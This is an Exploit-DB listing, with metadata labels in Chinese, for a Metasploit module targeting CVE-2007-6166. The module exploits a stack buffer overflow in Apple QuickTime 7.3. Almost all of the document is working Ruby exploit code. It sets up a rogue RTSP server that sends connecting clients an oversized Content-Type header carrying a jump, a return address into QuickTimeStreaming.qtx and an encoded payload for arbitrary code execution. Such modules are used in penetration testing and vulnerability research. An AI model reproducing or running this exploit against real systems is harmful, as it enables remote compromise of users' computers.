标题: Apple QuickTime 7.3 - RTSP Response Header Buffer Overflow (Metasploit) EDB-ID: 16424 CVE: 2007-6166 类型: REMOTE 平台: WINDOWS 发布日期: 2010-05-09 漏洞利用脚本: ##
# $Id: apple_quicktime_rtsp_response.rb 9262 2010-05-09 17:45:00Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

class Metasploit3 < Msf::Exploit::Remote
 Rank = NormalRanking

 include Msf::Exploit::Remote::TcpServer

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Apple QuickTime 7.3 RTSP Response Header Buffer Overflow',
   'Description'    => %q{
     This module exploits a stack buffer overflow in Apple QuickTime 7.3. By sending an overly long
    RTSP response to a client, an attacker may be able to execute arbitrary code.
   },
   'Author'         => 'MC',
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 9262 $',
   'References'     =>
    [
     [ 'CVE', '2007-6166' ],
     [ 'OSVDB', '40876' ],
     [ 'BID', '26549' ],
     [ 'URL', 'http://milw0rm.com/exploits/4648' ],
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'process',
    },
   'Payload'        =>
    {
     'Space'    => 700,
     'BadChars' => "\x00\x09\x0a\x0d\x20\x22\x25\x26\x27\x2b\x2f\x3a\x3c\x3e\x3f\x40",
     'MaxNops'  => 0,
     'StackAdjustment' => -3500,
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     [ 'QuickTime 7.3, QuickTime Player 7.3', { 'Offset' => 991, 'Ret' => 0x67644297 } ], # pop esi; pop ebx; ret / QuickTimeStreaming.qtx (7.3.0.70)
    ],
   'Privileged'     => false,
   'DisclosureDate' => 'Nov 23 2007',
   'DefaultTarget'  => 0))

  register_options(
   [
    OptPort.new('SRVPORT', [ true, "The RTSP daemon port to listen on", 554 ])
   ], self.class)
 end

 def on_client_connect(client)
  return if ((p = regenerate_payload(client)) == nil)

  client.get_once

  buffer =  rand_text_english(target['Offset']) + Rex::Arch::X86.jmp_short(6) + make_nops(2)
  buffer << [target.ret].pack('V') + payload.encoded + rand_text_english(4092 - payload.encoded.length)

  strname = rand_text_alpha(rand(75) + 1)
  date    = Time.now
  num     = rand(1).to_s

  header =  "RTSP/1.0 200 OK\r\n"
  header << "CSeq: 1\r\n"
  header << "Date: #{date}\r\n"
  header << "Content-Base: rtsp://0.0.0.0/#{strname}\r\n"
  header << "Content-Type: #{buffer}\r\n"
  header << "Content-Length: #{strname.length}\r\n\r\n"

  body =  "v=#{num}\r\n"
  body << "o=#{strname}\r\n"
  body << "s=#{strname}\r\n"
  body << "i=#{strname}\r\n"
  body << "t=#{num}\r\n"
  body << "a=tool:#{strname}\r\n"
  body << "a=type:#{strname}\r\n"
  body << "a=control:#{strname}\r\n"
  body << "a=range:#{strname}\r\n"
  body << "a=x-qt-text-nam:#{strname}\r\n"
  body << "a=x-qt-text-inf:#{strname}\r\n"
  body << "m=#{strname}\r\n"
  body << "c=#{strname}\r\n"
  body << "a=control:#{strname}\r\n"

  sploit = header + body

  print_status("Sending #{sploit.length} bytes to #{client.peerhost}:#{client.peerport}...")

  client.put(sploit)
  handler(client)

  service.close_client(client)
 end

end URL: https://www.exploit-db.com/exploits/16424